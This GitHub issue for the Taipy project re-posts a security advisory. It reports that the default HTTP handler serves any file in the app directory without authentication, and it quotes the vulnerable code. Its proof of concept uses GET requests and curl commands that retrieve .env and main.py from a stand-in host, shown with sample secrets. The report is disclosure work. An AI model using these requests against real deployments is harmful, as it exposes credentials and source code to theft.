#2891·taipy

Unauthenticated source code and secret disclosure via unrestricted app-directory static serving

Author: geo-chenCreated Jul 5, 2026Updated Aug 4, 2026

What went wrong?

reported on 2 June 2026 https://github.com/Avaiga/taipy/security/advisories/GHSA-jvfw-r45j-mxmx - no response:

Summary

Taipy's default HTTP handler serves any file that exists in the application script's directory when a request path matches the filename. There is no extension or filename deny list. An unauthenticated remote attacker can retrieve the application's Python source files (.py), environment files (.env), configuration files, private keys, and any other file co-located with the app script by simply requesting them by name. The only protection mechanism -- a .taipyignore file -- is not created by default and is completely undocumented, so virtually all production deployments are affected.

Details

The default route handler in _FlaskServer._get_default_handler (taipy/gui/servers/flask/server.py, lines 195-213 in HEAD; lines 220-237 in 4.0.3 server.py) contains two fallback file-serving blocks. The first falls back to the directory of the main application script:

python
if (
    hasattr(__main__, "__file__")
    and (
        file_path := str(
            os.path.normpath((base_path := os.path.dirname(__main__.__file__) + os.path.sep) + path)
        )
    ).startswith(base_path)
    and os.path.isfile(file_path)
    and not self._is_ignored(file_path)
):
    return send_from_directory(base_path, path)

The second falls back to _gui._root_dir (the same directory in standard deployments):

python
if (
    (file_path := str(os.path.normpath((base_path := self._gui._root_dir + os.path.sep) + path))).startswith(base_path)
    and os.path.isfile(file_path)
    and not self._is_ignored(file_path)
):
    return send_from_directory(base_path, path)

The intent is to allow app authors to reference local CSS, images, and data files in their pages without configuring an explicit path mapping. However, there is no file extension or name filter. The only exclusion mechanism is _is_ignored, which reads a .taipyignore gitignore-format file. If no such file exists (the default in all cases except when using the taipy create SDM template, which generates an empty .taipyignore), _is_ignored always returns False.

A path traversal through the URL is not possible because Werkzeug normalizes .. sequences before the path reaches the route handler. However, any file that exists in the app directory is directly accessible by its filename.

Files typically co-located with a Taipy app script and exposed by this behavior:

  • app.py / main.py -- application source code with database queries, API keys embedded in source, business logic
  • .env -- environment variables including DATABASE_URL, SECRET_KEY, AWS_ACCESS_KEY_ID, API_TOKEN, etc.
  • config.py / settings.py -- additional configuration with credentials
  • *.pem, *.key -- TLS certificates and private keys
  • requirements.txt, Pipfile, pyproject.toml -- dependency manifests (useful for supply-chain reconnaissance)

Verified against taipy-gui 4.0.3 (installed) and commit 5bcb574 (develop/4.2.0.dev9).

PoC

Prerequisites: A Taipy application running with any sensitive file present in the same directory as the main script.

  1. Start a Taipy application (gui.run(host="0.0.0.0", port=9720)).

  2. Create a .env file in the app directory with secrets:

    DATABASE_URL=postgresql://user:password123@db:5432/app
    SECRET_KEY=mysecretkey
    AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
  3. As an unauthenticated remote user, request the file:

    GET /.env HTTP/1.1
    Host: victim.company.com:9720
  4. Response:

    HTTP/1.1 200 OK
    Content-Disposition: inline; filename=.env
    Content-Type: application/octet-stream
    Content-Length: 117
    
    DATABASE_URL=postgresql://user:password123@db:5432/app
    SECRET_KEY=mysecretkey
    AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
  5. Similarly, source code is exposed:

    GET /app.py HTTP/1.1
    Host: victim.company.com:9720

    Returns the full Python source code of the application.

One-line curl proof:

bash
# Returns the app's .env file contents
curl http://victim.company.com:9720/.env

# Returns the app's main Python source file
curl http://victim.company.com:9720/main.py

Impact

An unauthenticated attacker with network access to the Taipy application can read any file in the application's working directory. In typical deployments this includes the full application source code, environment files containing database credentials and API keys, private keys, and configuration files. The impact is direct credential compromise, data exfiltration, and full application takeover via the exposed secrets.

Taipy Version

4.0.3

Additional Context (Optional)

bash

Code of Conduct

  • I have checked the existing issues to avoid duplicates.
  • I am willing to work on this issue (optional)

✅ Acceptance Criteria

  • A reproducible unit test is added.
  • Code coverage is at least 90%.
  • The bug reporter validated the fix.
  • Relevant documentation updates or an issue created in